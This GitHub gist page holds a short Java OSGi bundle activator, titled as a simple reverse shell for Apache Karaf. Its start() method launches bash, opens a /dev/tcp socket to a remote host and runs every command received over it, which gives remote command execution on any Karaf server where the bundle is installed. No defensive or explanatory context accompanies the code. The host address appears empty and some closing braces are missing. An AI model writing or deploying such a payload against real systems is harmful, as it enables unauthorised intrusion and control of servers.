Skip to content

Instantly share code, notes, and snippets.

Last active December 6, 2019 03:46
What would you like to do?
simple reverse shell via OSGi bundle for Karaf
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
public void start(BundleContext bundleContext) throws Exception {
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do $line 2>&5 >&5; done");
Process proc = pb.start();
public void stop(BundleContext bundleContext) throws Exception {
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment